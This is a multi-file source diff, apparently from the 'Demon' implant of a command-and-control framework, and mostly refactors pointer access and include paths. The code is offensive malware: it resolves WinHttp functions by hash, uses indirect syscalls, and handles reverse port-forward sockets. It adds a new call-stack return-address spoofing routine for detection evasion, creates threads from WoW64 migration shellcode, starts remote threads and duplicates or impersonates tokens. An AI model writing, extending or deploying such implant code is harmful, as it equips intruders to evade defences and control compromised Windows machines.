Instance->Win32.WinHttpOpenRequest = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPOPENREQUEST );
|
||||
Instance->Win32.WinHttpSetOption = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPSETOPTION );
|
||||
Instance->Win32.WinHttpCloseHandle = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPCLOSEHANDLE );
|
||||
Instance->Win32.WinHttpSendRequest = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPSENDREQUEST );
|
||||
Instance->Win32.WinHttpAddRequestHeaders = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPADDREQUESTHEADERS );
|
||||
Instance->Win32.WinHttpReceiveResponse = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPRECEIVERESPONSE );
|
||||
Instance->Win32.WinHttpReadData = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPREADDATA );
|
||||
Instance->Win32.WinHttpQueryHeaders = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPQUERYHEADERS );
|
||||
Instance->Win32.WinHttpGetIEProxyConfigForCurrentUser = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER );
|
||||
Instance->Win32.WinHttpGetProxyForUrl = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPGETPROXYFORURL );
|
||||
|
||||
PUTS( "Loaded WinHttp functions" )
|
||||
} else {
|
||||
MemZero( ModuleName, sizeof( ModuleName ) );
|
||||
PUTS( "Failed to load WinHttp" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
#endif
|
||||
@@ -1,6 +1,6 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Core/MiniStd.h>
|
||||
#include <core/MiniStd.h>
|
||||
|
||||
/* attempt to receive all the requested data from the socket
|
||||
* Took it from: https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c#L41 */
|
||||
@@ -12,7 +12,7 @@ BOOL RecvAll( SOCKET Socket, PVOID Buffer, DWORD Length, PDWORD BytesRead )
|
||||
|
||||
while ( tret < Length )
|
||||
{
|
||||
nret = Instance.Win32.recv( Socket, Start, Length - tret, 0 );
|
||||
nret = Instance->Win32.recv( Socket, Start, Length - tret, 0 );
|
||||
|
||||
if ( nret == SOCKET_ERROR )
|
||||
{
|
||||
@@ -36,20 +36,20 @@ BOOL InitWSA( VOID )
|
||||
DWORD Result = 0;
|
||||
|
||||
/* Init Windows Socket. */
|
||||
if ( Instance.WSAWasInitialised == FALSE )
|
||||
if ( Instance->WSAWasInitialised == FALSE )
|
||||
{
|
||||
PUTS( "Init Windows Socket..." )
|
||||
|
||||
if ( ( Result = Instance.Win32.WSAStartup( MAKEWORD( 2, 2 ), &WsData ) ) != 0 )
|
||||
if ( ( Result = Instance->Win32.WSAStartup( MAKEWORD( 2, 2 ), &WsData ) ) != 0 )
|
||||
{
|
||||
PRINTF( "WSAStartup Failed: %d\n", Result )
|
||||
|
||||
/* cleanup and be gone. */
|
||||
Instance.Win32.WSACleanup();
|
||||
Instance->Win32.WSACleanup();
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Instance.WSAWasInitialised = TRUE;
|
||||
Instance->WSAWasInitialised = TRUE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
@@ -75,7 +75,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
|
||||
|
||||
if ( UseIpv4 )
|
||||
{
|
||||
WinSock = Instance.Win32.WSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, NULL );
|
||||
WinSock = Instance->Win32.WSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, NULL );
|
||||
if ( WinSock == INVALID_SOCKET )
|
||||
{
|
||||
PRINTF( "WSASocketA Failed: %d\n", NtGetLastError() )
|
||||
@@ -97,7 +97,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
|
||||
}
|
||||
else
|
||||
{
|
||||
WinSock = Instance.Win32.WSASocketA( AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
|
||||
WinSock = Instance->Win32.WSASocketA( AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
|
||||
if ( WinSock == INVALID_SOCKET )
|
||||
{
|
||||
PRINTF( "WSASocketA Failed: %d\n", NtGetLastError() )
|
||||
@@ -123,7 +123,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
|
||||
if ( UseIpv4 )
|
||||
{
|
||||
/* connect to host:port */
|
||||
if ( Instance.Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR )
|
||||
if ( Instance->Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR )
|
||||
{
|
||||
PRINTF( "connect failed: %d\n", NtGetLastError() )
|
||||
goto CLEANUP;
|
||||
@@ -132,7 +132,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
|
||||
else
|
||||
{
|
||||
/* connect to host:port */
|
||||
if ( Instance.Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr6, sizeof( SOCKADDR_IN6_LH ) ) == SOCKET_ERROR )
|
||||
if ( Instance->Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr6, sizeof( SOCKADDR_IN6_LH ) ) == SOCKET_ERROR )
|
||||
{
|
||||
PRINTF( "connect failed: %d\n", NtGetLastError() )
|
||||
goto CLEANUP;
|
||||
@@ -140,7 +140,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
|
||||
}
|
||||
|
||||
/* set socket to non blocking */
|
||||
if ( Instance.Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR )
|
||||
if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR )
|
||||
{
|
||||
PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() )
|
||||
goto CLEANUP;
|
||||
@@ -153,21 +153,21 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
|
||||
// SOCKET_TYPE_REVERSE_PORTFWD only supports IPv4
|
||||
|
||||
/* set socket to non blocking */
|
||||
if ( Instance.Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR )
|
||||
if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR )
|
||||
{
|
||||
PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() )
|
||||
goto CLEANUP;
|
||||
}
|
||||
|
||||
/* bind the socket */
|
||||
if ( Instance.Win32.bind( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR )
|
||||
if ( Instance->Win32.bind( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR )
|
||||
{
|
||||
PRINTF( "bind failed: %d\n", NtGetLastError() )
|
||||
goto CLEANUP;
|
||||
}
|
||||
|
||||
/* now listen... */
|
||||
if ( Instance.Win32.listen( WinSock, 1 ) == SOCKET_ERROR )
|
||||
if ( Instance->Win32.listen( WinSock, 1 ) == SOCKET_ERROR )
|
||||
{
|
||||
PRINTF( "listen failed: %d\n", NtGetLastError() )
|
||||
goto CLEANUP;
|
||||
@@ -178,7 +178,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
|
||||
}
|
||||
|
||||
/* Allocate our Socket object */
|
||||
Socket = NtHeapAlloc( sizeof( SOCKET_DATA ) );
|
||||
Socket = MmHeapAlloc( sizeof( SOCKET_DATA ) );
|
||||
Socket->ID = RandomNumber32();
|
||||
Socket->ParentID = ParentID;
|
||||
Socket->Type = Type;
|
||||
@@ -189,9 +189,9 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB
|
||||
Socket->FwdAddr = FwdAddr;
|
||||
Socket->FwdPort = FwdPort;
|
||||
Socket->Socket = WinSock;
|
||||
Socket->Next = Instance.Sockets;
|
||||
Socket->Next = Instance->Sockets;
|
||||
|
||||
Instance.Sockets = Socket;
|
||||
Instance->Sockets = Socket;
|
||||
|
||||
PRINTF( "SocketNew => ID:[%x] Parent:[%x] WinSock:[%x] Type:[%d] IPv4:[%lx] IPv6:[%lx] LclPort:[%ld] FwdAddr:[%lx] FwdPort:[%ld]\n", Socket->ID, ParentID, WinSock, Type, IPv4, IPv6, LclPort, FwdAddr, FwdPort )
|
||||
|
||||
@@ -202,7 +202,7 @@ CLEANUP:
|
||||
{
|
||||
// close the socket preserving the last error code
|
||||
ErrorCode = NtGetLastError();
|
||||
Instance.Win32.closesocket( WinSock );
|
||||
Instance->Win32.closesocket( WinSock );
|
||||
NtSetLastError(ErrorCode);
|
||||
}
|
||||
|
||||
@@ -218,7 +218,7 @@ VOID SocketClients()
|
||||
SOCKET WinSock = 0;
|
||||
u_long IoBlock = 1;
|
||||
|
||||
Socket = Instance.Sockets;
|
||||
Socket = Instance->Sockets;
|
||||
|
||||
/* First lets check for new clients */
|
||||
for ( ;; )
|
||||
@@ -235,11 +235,11 @@ VOID SocketClients()
|
||||
if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD )
|
||||
{
|
||||
/* accept connection */
|
||||
WinSock = Instance.Win32.accept( Socket->Socket, NULL, NULL );
|
||||
WinSock = Instance->Win32.accept( Socket->Socket, NULL, NULL );
|
||||
if ( WinSock != INVALID_SOCKET )
|
||||
{
|
||||
/* set socket to non blocking */
|
||||
if ( Instance.Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) != SOCKET_ERROR )
|
||||
if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) != SOCKET_ERROR )
|
||||
{
|
||||
/* Add the client to the socket linked list so we can read from it later on */
|
||||
Client = SocketNew( WinSock, SOCKET_TYPE_CLIENT, TRUE, Socket->IPv4, NULL, Socket->LclPort, Socket->FwdAddr, Socket->FwdPort, Socket->ID );
|
||||
@@ -268,7 +268,7 @@ VOID SocketClients()
|
||||
PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() )
|
||||
|
||||
/* close socket. */
|
||||
Instance.Win32.closesocket( WinSock );
|
||||
Instance->Win32.closesocket( WinSock );
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -288,7 +288,7 @@ VOID SocketRead()
|
||||
BOOL Failed = FALSE;
|
||||
DWORD ErrorCode = 0;
|
||||
|
||||
Socket = Instance.Sockets;
|
||||
Socket = Instance->Sockets;
|
||||
|
||||
/* First lets check for new clients */
|
||||
for ( ;; )
|
||||
@@ -320,7 +320,7 @@ VOID SocketRead()
|
||||
* this might not be the same as the total amount of data queued on the socket.
|
||||
* because of this, we read for new data in a loop
|
||||
*/
|
||||
if ( Instance.Win32.ioctlsocket( Socket->Socket, FIONREAD, &PartialData.Length ) == SOCKET_ERROR )
|
||||
if ( Instance->Win32.ioctlsocket( Socket->Socket, FIONREAD, &PartialData.Length ) == SOCKET_ERROR )
|
||||
{
|
||||
PRINTF( "Failed to get the read size from %x : %d\n", Socket->ID, Socket->Type )
|
||||
|
||||
@@ -328,16 +328,16 @@ VOID SocketRead()
|
||||
Socket->ShouldRemove = TRUE;
|
||||
|
||||
Failed = TRUE;
|
||||
ErrorCode = Instance.Win32.WSAGetLastError();
|
||||
ErrorCode = Instance->Win32.WSAGetLastError();
|
||||
}
|
||||
|
||||
if ( PartialData.Length > 0 )
|
||||
{
|
||||
PartialData.Buffer = NtHeapAlloc( PartialData.Length );
|
||||
PartialData.Buffer = MmHeapAlloc( PartialData.Length );
|
||||
|
||||
if ( ! RecvAll( Socket->Socket, PartialData.Buffer, PartialData.Length, &PartialData.Length ) ) {
|
||||
Failed = TRUE;
|
||||
ErrorCode = Instance.Win32.WSAGetLastError();
|
||||
ErrorCode = Instance->Win32.WSAGetLastError();
|
||||
}
|
||||
|
||||
if ( PartialData.Length > 0 )
|
||||
@@ -351,12 +351,12 @@ VOID SocketRead()
|
||||
else
|
||||
{
|
||||
// allocate a new buffer to store the old and new data
|
||||
NewBuffer = NtHeapAlloc( FullData.Length + PartialData.Length );
|
||||
NewBuffer = MmHeapAlloc( FullData.Length + PartialData.Length );
|
||||
// copy the old data into the new buffer
|
||||
MemCopy( NewBuffer, FullData.Buffer, FullData.Length );
|
||||
// free the old 'FullData' buffer
|
||||
MemSet( FullData.Buffer, 0, FullData.Length );
|
||||
NtHeapFree( FullData.Buffer );
|
||||
MmHeapFree( FullData.Buffer );
|
||||
// set the new buffer into 'FullData'
|
||||
FullData.Buffer = NewBuffer;
|
||||
NewBuffer = NULL;
|
||||
@@ -365,7 +365,7 @@ VOID SocketRead()
|
||||
FullData.Length += PartialData.Length;
|
||||
// free the new data
|
||||
MemSet( PartialData.Buffer, 0, PartialData.Length );
|
||||
NtHeapFree( PartialData.Buffer );
|
||||
MmHeapFree( PartialData.Buffer );
|
||||
PartialData.Buffer = NULL;
|
||||
}
|
||||
}
|
||||
@@ -412,7 +412,7 @@ VOID SocketRead()
|
||||
{
|
||||
/* free and clear out our buffer */
|
||||
MemSet( FullData.Buffer, 0, FullData.Length );
|
||||
NtHeapFree( FullData.Buffer );
|
||||
MmHeapFree( FullData.Buffer );
|
||||
FullData.Length = 0;
|
||||
FullData.Buffer = NULL;
|
||||
}
|
||||
@@ -470,12 +470,12 @@ VOID SocketFree( PSOCKET_DATA Socket )
|
||||
|
||||
if ( Socket->Socket )
|
||||
{
|
||||
Instance.Win32.closesocket( Socket->Socket );
|
||||
Instance->Win32.closesocket( Socket->Socket );
|
||||
Socket->Socket = 0;
|
||||
}
|
||||
|
||||
MemSet( Socket, 0, sizeof( SOCKET_DATA ) );
|
||||
NtHeapFree( Socket )
|
||||
MmHeapFree( Socket );
|
||||
Socket = NULL;
|
||||
}
|
||||
|
||||
@@ -489,7 +489,7 @@ VOID SocketCleanDead()
|
||||
* make that after the socket got used close it.
|
||||
* maybe add a timeout ? after the socket didn't got used after a certain period of time.
|
||||
*/
|
||||
Socket = Instance.Sockets;
|
||||
Socket = Instance->Sockets;
|
||||
for ( ;; )
|
||||
{
|
||||
if ( ! Socket )
|
||||
@@ -500,9 +500,9 @@ VOID SocketCleanDead()
|
||||
/* we are at the beginning. */
|
||||
if ( ! SkLast )
|
||||
{
|
||||
Instance.Sockets = Socket->Next;
|
||||
Instance->Sockets = Socket->Next;
|
||||
SocketFree( Socket );
|
||||
Socket = Instance.Sockets;
|
||||
Socket = Instance->Sockets;
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -550,7 +550,7 @@ DWORD DnsQueryIPv4( LPSTR Domain )
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
hints.ai_protocol = IPPROTO_TCP;
|
||||
|
||||
Ret = Instance.Win32.getaddrinfo( Domain, NULL, &hints, &res );
|
||||
Ret = Instance->Win32.getaddrinfo( Domain, NULL, &hints, &res );
|
||||
if ( Ret != 0 )
|
||||
{
|
||||
PRINTF( "getaddrinfo failed with %d for %s\n", Ret, Domain );
|
||||
@@ -559,7 +559,7 @@ DWORD DnsQueryIPv4( LPSTR Domain )
|
||||
|
||||
IP = ((struct sockaddr_in *)res->ai_addr)->sin_addr.S_un.S_addr;
|
||||
|
||||
Instance.Win32.freeaddrinfo( res );
|
||||
Instance->Win32.freeaddrinfo( res );
|
||||
|
||||
PRINTF( "Got IPv4 for %s: %d.%d.%d.%d\n",
|
||||
Domain,
|
||||
@@ -591,7 +591,7 @@ PBYTE DnsQueryIPv6( LPSTR Domain )
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
hints.ai_protocol = IPPROTO_TCP;
|
||||
|
||||
Ret = Instance.Win32.getaddrinfo( Domain, NULL, &hints, &res );
|
||||
Ret = Instance->Win32.getaddrinfo( Domain, NULL, &hints, &res );
|
||||
if ( Ret != 0 )
|
||||
{
|
||||
PRINTF( "getaddrinfo failed with %d for %s\n", Ret, Domain );
|
||||
@@ -599,11 +599,11 @@ PBYTE DnsQueryIPv6( LPSTR Domain )
|
||||
}
|
||||
|
||||
// the caller is responsible for freeing this!
|
||||
IPv6 = Instance.Win32.LocalAlloc( LPTR, 16 );
|
||||
IPv6 = Instance->Win32.LocalAlloc( LPTR, 16 );
|
||||
|
||||
MemCopy( IPv6, ((struct sockaddr_in6 *)res->ai_addr)->sin6_addr.u.Byte, 16 );
|
||||
|
||||
Instance.Win32.freeaddrinfo( res );
|
||||
Instance->Win32.freeaddrinfo( res );
|
||||
|
||||
PRINTF( "Got IPv6 for %s: %02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x\n",
|
||||
Domain,
|
||||
@@ -0,0 +1,43 @@
|
||||
#include <core/Spoof.h>
|
||||
#include <core/MiniStd.h>
|
||||
|
||||
#if _WIN64
|
||||
|
||||
PVOID SpoofRetAddr(
|
||||
_In_ PVOID Module,
|
||||
_In_ ULONG Size,
|
||||
_In_ HANDLE Function,
|
||||
_Inout_ PVOID a,
|
||||
_Inout_ PVOID b,
|
||||
_Inout_ PVOID c,
|
||||
_Inout_ PVOID d,
|
||||
_Inout_ PVOID e,
|
||||
_Inout_ PVOID f,
|
||||
_Inout_ PVOID g,
|
||||
_Inout_ PVOID h
|
||||
) {
|
||||
PVOID Trampoline = { 0 };
|
||||
BYTE Pattern[] = { 0xFF, 0x23 };
|
||||
PRM Param = { NULL, NULL, NULL };
|
||||
|
||||
if ( Function != NULL ) {
|
||||
Trampoline = MmGadgetFind(
|
||||
C_PTR( U_PTR( Module ) + LDR_GADGET_HEADER_SIZE ),
|
||||
U_PTR( Size ),
|
||||
Pattern,
|
||||
sizeof( Pattern )
|
||||
);
|
||||
|
||||
/* set params */
|
||||
Param.Trampoline = Trampoline;
|
||||
Param.Function = Function;
|
||||
|
||||
if ( Trampoline != NULL ) {
|
||||
return ( ( PVOID( * ) ( PVOID, PVOID, PVOID, PVOID, PPRM, PVOID, PVOID, PVOID, PVOID, PVOID ) ) ( ( PVOID ) Spoof ) ) ( a, b, c, d, &Param, NULL, e, f, g, h );
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -1,7 +1,7 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Core/Syscalls.h>
|
||||
#include <Core/SysNative.h>
|
||||
#include <core/Syscalls.h>
|
||||
#include <core/SysNative.h>
|
||||
|
||||
NTSTATUS NTAPI SysNtOpenThread(
|
||||
OUT PHANDLE ThreadHandle,
|
||||
@@ -192,7 +192,7 @@ NTSTATUS NTAPI SysNtDuplicateObject(
|
||||
|
||||
NTSTATUS NTAPI SysNtGetContextThread (
|
||||
IN HANDLE ThreadHandle,
|
||||
IN OUT PCONTEXT ThreadContext
|
||||
_Inout_ PCONTEXT ThreadContext
|
||||
) {
|
||||
NTSTATUS NtStatus = STATUS_SUCCESS;
|
||||
SYS_CONFIG SysConfig = { 0 };
|
||||
@@ -258,9 +258,9 @@ NTSTATUS NTAPI SysNtWaitForSingleObject(
|
||||
|
||||
NTSTATUS NTAPI SysNtAllocateVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
_Inout_ PVOID* BaseAddress,
|
||||
IN ULONG_PTR ZeroBits,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
_Inout_ PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect
|
||||
) {
|
||||
@@ -289,8 +289,8 @@ NTSTATUS NTAPI SysNtWriteVirtualMemory(
|
||||
|
||||
NTSTATUS NTAPI SysNtFreeVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
_Inout_ PVOID* BaseAddress,
|
||||
_Inout_ PSIZE_T RegionSize,
|
||||
IN ULONG FreeType
|
||||
) {
|
||||
NTSTATUS NtStatus = STATUS_SUCCESS;
|
||||
@@ -315,8 +315,8 @@ NTSTATUS NTAPI SysNtUnmapViewOfSection(
|
||||
|
||||
NTSTATUS NTAPI SysNtProtectVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
_Inout_ PVOID* BaseAddress,
|
||||
_Inout_ PSIZE_T RegionSize,
|
||||
IN ULONG NewProtect,
|
||||
OUT PULONG OldProtect
|
||||
) {
|
||||
@@ -1,8 +1,8 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Common/Defines.h>
|
||||
#include <Core/Syscalls.h>
|
||||
#include <Core/Win32.h>
|
||||
#include <common/Defines.h>
|
||||
#include <core/Syscalls.h>
|
||||
#include <core/Win32.h>
|
||||
|
||||
/*!
|
||||
* Initialize syscall addr + ssn
|
||||
@@ -27,7 +27,7 @@ BOOL SysInitialize(
|
||||
|
||||
/* check if we managed to resolve it */
|
||||
if ( SysIndirectAddr ) {
|
||||
Instance.Syscall.SysAddress = SysIndirectAddr;
|
||||
Instance->Syscall.SysAddress = SysIndirectAddr;
|
||||
} else {
|
||||
PUTS_DONT_SEND( "Failed to resolve SysIndirectAddr" );
|
||||
}
|
||||
@@ -36,7 +36,7 @@ BOOL SysInitialize(
|
||||
#if _M_IX86
|
||||
if ( IsWoW64() )
|
||||
{
|
||||
Instance.Syscall.SysAddress = __readfsdword(0xC0);
|
||||
Instance->Syscall.SysAddress = __readfsdword(0xC0);
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
#include <Demon.h>
|
||||
#include <Common/Macros.h>
|
||||
#include <Core/Thread.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <Core/Memory.h>
|
||||
#include <Core/SysNative.h>
|
||||
#include <Core/Win32.h>
|
||||
#include <common/Macros.h>
|
||||
#include <core/Thread.h>
|
||||
#include <core/MiniStd.h>
|
||||
#include <core/Memory.h>
|
||||
#include <core/SysNative.h>
|
||||
#include <core/Win32.h>
|
||||
|
||||
/*!
|
||||
* queries the NT_TIB from the specified leaked thread RSP address
|
||||
@@ -32,7 +32,7 @@ BOOL ThreadQueryTib(
|
||||
DWORD ThreadId = 0;
|
||||
|
||||
/* our current thread id */
|
||||
ThreadId = U_PTR( Instance.Teb->ClientId.UniqueThread );
|
||||
ThreadId = U_PTR( Instance->Teb->ClientId.UniqueThread );
|
||||
ThdCtx.ContextFlags = CONTEXT_FULL;
|
||||
|
||||
/* iterate over current process threads */
|
||||
@@ -67,7 +67,7 @@ BOOL ThreadQueryTib(
|
||||
#if _WIN64
|
||||
if ( NT_SUCCESS( SysNtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Rsp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) )
|
||||
#else
|
||||
if ( NT_SUCCESS( Instance.Win32.NtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Esp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) )
|
||||
if ( NT_SUCCESS( Instance->Win32.NtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Esp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) )
|
||||
#endif
|
||||
{
|
||||
/* query memory info about rsp address */
|
||||
@@ -164,7 +164,7 @@ HANDLE ThreadCreateWoW64(
|
||||
|
||||
// allocate some memory for both shellcode stubs
|
||||
Size = sizeof( migrate_executex64 ) + sizeof(migrate_wownativex);
|
||||
if ( ! ( pExecuteX64 = MemoryAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Size, PAGE_READWRITE ) ) ) {
|
||||
if ( ! ( pExecuteX64 = MmVirtualAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Size, PAGE_READWRITE ) ) ) {
|
||||
PUTS( "Failed allocating RW for migrate_executex64 and migrate_wownativex" )
|
||||
goto END;
|
||||
}
|
||||
@@ -177,7 +177,7 @@ HANDLE ThreadCreateWoW64(
|
||||
MemCopy( pX64function, &migrate_wownativex, sizeof( migrate_wownativex ) );
|
||||
|
||||
// switch RW to RX
|
||||
if ( ! ( MemoryProtect( DX_MEM_SYSCALL, NtCurrentProcess(), pExecuteX64, Size, PAGE_EXECUTE_READ ) ) ) {
|
||||
if ( ! ( MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), pExecuteX64, Size, PAGE_EXECUTE_READ ) ) ) {
|
||||
PUTS( "Failed to change memory protection" )
|
||||
goto END;
|
||||
}
|
||||
@@ -206,7 +206,7 @@ HANDLE ThreadCreateWoW64(
|
||||
|
||||
END:
|
||||
if ( pExecuteX64 ) {
|
||||
MemoryFree( NtCurrentProcess(), pExecuteX64 );
|
||||
MmVirtualFree( NtCurrentProcess(), pExecuteX64 );
|
||||
}
|
||||
|
||||
return hThread;
|
||||
@@ -238,7 +238,7 @@ HANDLE ThreadCreate(
|
||||
}
|
||||
|
||||
case THREAD_METHOD_CREATEREMOTETHREAD: {
|
||||
Thread = Instance.Win32.CreateRemoteThread( Process, NULL, 0, Entry, Arg, 0, ThreadId );
|
||||
Thread = Instance->Win32.CreateRemoteThread( Process, NULL, 0, Entry, Arg, 0, ThreadId );
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -261,7 +261,7 @@ HANDLE ThreadCreate(
|
||||
}
|
||||
} else {
|
||||
PRINTF( "Failed to create new thread => NtStatus:[%x]\n", NtStatus );
|
||||
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
}
|
||||
|
||||
break;
|
||||
@@ -1,11 +1,11 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Common/Macros.h>
|
||||
#include <common/Macros.h>
|
||||
|
||||
#include <Core/Token.h>
|
||||
#include <Core/Win32.h>
|
||||
#include <Core/Package.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <core/Token.h>
|
||||
#include <core/Win32.h>
|
||||
#include <core/Package.h>
|
||||
#include <core/MiniStd.h>
|
||||
|
||||
#include <ntstatus.h>
|
||||
|
||||
@@ -16,8 +16,8 @@
|
||||
*
|
||||
* Add it to the first token (parent):
|
||||
*
|
||||
* Token->Next = Instance.Tokens.Vault;
|
||||
* Instance.Tokens.Vault = Token;
|
||||
* Token->Next = Instance->Tokens.Vault;
|
||||
* Instance->Tokens.Vault = Token;
|
||||
*
|
||||
* Might reduce some code which i care more than
|
||||
* token order.
|
||||
@@ -57,8 +57,8 @@ BOOL TokenDuplicate(
|
||||
|
||||
/* duplicate token using native call */
|
||||
if ( ! NT_SUCCESS( NtStatus = SysNtDuplicateToken( TokenOriginal, Access, &ObjAttr, FALSE, TokenType, TokenNew ) ) ) {
|
||||
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -78,7 +78,7 @@ BOOL TokenRevSelf(
|
||||
NTSTATUS NtStatus = STATUS_SUCCESS;
|
||||
|
||||
if ( ! NT_SUCCESS( NtStatus = SysNtSetInformationThread( NtCurrentThread(), ThreadImpersonationToken, &Token, sizeof( HANDLE ) ) ) ) {
|
||||
NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -123,7 +123,7 @@ BOOL TokenQueryOwner(
|
||||
/* get the size for the TOKEN_USER struct */
|
||||
if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationToken( Token, TokenUser, UserInfo, 0, &UserSize ) ) )
|
||||
{
|
||||
UserInfo = NtHeapAlloc( UserSize );
|
||||
UserInfo = MmHeapAlloc( UserSize );
|
||||
|
||||
/* query the token user (we need the sid) */
|
||||
if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationToken( Token, TokenUser, UserInfo, UserSize, &UserSize ) ) ) {
|
||||
@@ -131,7 +131,7 @@ BOOL TokenQueryOwner(
|
||||
}
|
||||
|
||||
/* now get the Username and Domain from the Sid */
|
||||
if ( ! Instance.Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, NULL, &UserLen, NULL, &DomnLen, &SidType ) )
|
||||
if ( ! Instance->Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, NULL, &UserLen, NULL, &DomnLen, &SidType ) )
|
||||
{
|
||||
SidType = 0;
|
||||
|
||||
@@ -144,21 +144,21 @@ BOOL TokenQueryOwner(
|
||||
}
|
||||
|
||||
/* we allocate one buffer for specified owner flag */
|
||||
